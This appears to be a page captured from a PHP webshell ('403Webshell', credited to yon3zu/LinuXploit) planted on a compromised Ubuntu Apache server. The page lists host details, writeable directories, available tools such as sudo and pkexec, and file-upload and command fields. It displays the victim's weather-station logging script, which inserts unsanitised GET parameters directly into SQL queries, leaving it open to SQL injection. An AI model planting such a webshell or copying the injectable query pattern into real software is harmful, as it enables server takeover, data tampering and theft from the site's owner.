403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rasinweb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/rasinweb/db-meteo.php
<!DOCTYPE html>
<!--
******************************
 Project: IS VetroIng, 2024.
 Version: 24-04-25
 Author : TIM/M.Kukic
 Note   :
******************************
-->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel='shortcut icon' type='image/png' href='favicon.png'/>
<title>VetroIng</title>
</head>
<body>

<?php
/*
http://192.168.213.25/www/isvtg/db-meteo.php?awsid=AWS0&pressure=1000.1&temperature=20.2&humidity=35.3&windspeed=2.4&windmax=5.5&winddir=N&light=1000.6&voltage=50.7
*/
include "config.php";
//
$awsid = $_GET["awsid"];
$pres  = $_GET["pressure"];
$temp  = $_GET["temperature"];
$humi  = $_GET["humidity"];
$winds  = $_GET["windspeed"];
$windm  = $_GET["windmax"];
$windd  = $_GET["winddir"];
$light  = $_GET["light"];
$volt   = $_GET["voltage"];
//
If ($awsid=="") {$awsid="0000";}
If ($pres=="") {$pres=0;}
If ($temp=="") {$temp=0.0;}
If ($humi=="") {$humi=0;}
If ($winds=="") {$winds=0.0;}
If ($windm=="") {$windm=0.0;}
If ($windd=="") {$windd="N";}
If ($light=="") {$light=0;}
If ($volt=="") {$volt=0;}
//
// Test vremenski interval izmedju dva upisa po istom ID-u // http://192.168.213.25/www/isvtg/db-meteo.php?awsid=AWS0&pressure=1000
$sql = "SELECT * FROM vtg_meteo WHERE awsid='".$awsid."' ORDER BY dattime DESC LIMIT 1";
if ($vap==5) {	
		$result = mysql_query($sql, $dbh) or die (mysql_error($dbh));
		$row = mysql_fetch_array($result);
}else{
		$result = mysqli_query($dbh, $sql) or die (mysqli_error($dbh));
		$row = mysqli_fetch_array($result);
}
$vreme_old= strtotime($row['dattime']);
$vreme_delta = time() - $vreme_old;
//echo "<br>".$vreme_delta."<br>";
if ($vreme_delta < 10){
	$ok="Fast!";
	goto kraj;
}
// End test
//
$ok="No!";
$sql = "INSERT INTO vtg_meteo (id,awsid,dattime,pressure,temperature,humidity,windspeed,windmax,winddir,light,voltage) VALUES ('0','$awsid',NOW(),'$pres','$temp','$humi','$winds','$windm','$windd','$light','$volt')";
//
if ($vap==5) {
		$result = mysql_query($sql, $dbh) or die(mysql_error($dbh));
		mysql_close($dbh);
		$ok="Yes!";
}
//
if ($vap==7) {
		$result = mysqli_query($dbh, $sql) or die(mysqli_error($dbh));
		mysqli_close($dbh);
		$ok="Yes!";
}
//
kraj:
echo "Status: ".$ok;
//
echo "<h3>OK!</h3>";
echo "</body>";

include "db-close.php";	

?> 
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit